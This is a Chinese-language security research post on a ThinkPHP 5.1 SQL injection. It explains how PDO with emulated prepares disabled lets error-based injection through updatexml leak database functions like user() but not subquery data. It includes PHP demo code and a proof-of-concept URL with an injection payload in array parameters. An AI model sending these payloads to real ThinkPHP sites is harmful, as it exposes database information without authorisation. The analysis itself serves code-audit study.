前言
在昨天想出一道tp5的sql注入时发现报错注入只能爆出类似于user()、database()这类最基础的信息,而不能进行子查询。
当对字段进行查询时,会发现报错无法显示我们想要的。经过搜索后发现原因:
thinkphp框架使用参数化查询PDO,将参数与查询语句分离,降低了漏洞风险,下面将会针对该框架的PDO进行分析。
0x01
以下分析仅仅针对5.1版本
引用P神得文章
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
在之前得分析注入文章中,我仅仅是审计源码却忽略了为什么报错。。为什么拼接了我们得参数能够报错。P神已经从最根本的原理层面剖析了这个问题
报错原因?
预编译SQL语句的时候发生错误,从而产生报错
PDO预编译执行过程
1:prepare($SQL) 编译SQL语句
2:bindValue($param, $value) 将value绑定到param的位置上
3:execute() 执行
当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会。
这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误使得报错(单纯的语句报错)
那么我们实际上报错利用点在哪里呢?
实际上,在预编译的时候,也就是第一步即可利用。
代码
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM users WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (PDOException $e) {
var_dump($e);
}
执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:
究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。
这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。
非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。
这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:
...
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...
可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:
http://127.0.0.1:88/tp517/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。
继续深入
我们将user()改成一个子查询语句,来看看是什么结果
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM `users` WHERE `id` IN (:where_id_in_0,updatexml(0,concat(0xa,(select username from users limit 1)),0)) ');
} catch (PDOException $e) {
var_dump($e);
}
这个原因就和我们上面说的
虽然我们使用了updatexml函数,但是他可能不接触数据:
预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。
我们把upupdatexml函数去掉呢?让预编译过程第一步顺利执行会顺利执行第三步吗?
代码:
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM users WHERE id IN (:where_id_in_0)union(select~1,2)');
var_dump($link);
$link->bindValue(':where_id_in_0)union(select~1,2)','1','1');
} catch (PDOException $e) {
var_dump($e);
}
SQLSTATE[HY093]: Invalid parameter number: parameter was not defined。 在上面的demo中在绑定的变量中,我已经经历让:符号后面的字符串中不出现空格。但是在PDO的prepare编译sql语句这个过程中,pdo已经把(:)内的内容认为时PDO绑定的变量,所以在第二步bindValue步骤中,才会报错parameter was not defined
也就说这2步数据不匹配。
导致无法正常执行第三步查询我们想要得字段
总结
TP5整个系列注入漏洞都很鸡肋,
tp5的洞鸡肋在传参数限定类型为array 多nt的程序员才会这样写。。。不过用来锻炼代审还是有用。
归根到底框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题,但往往有时就是对安全的过于信任,导致这里是在参数绑定的过程中产生了注入,不过PDO也可以说是将危害降到了最小。
目前我只发现了一个版本
thinkphp 5.0.10 sql注入漏洞 支持子查询
参考
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html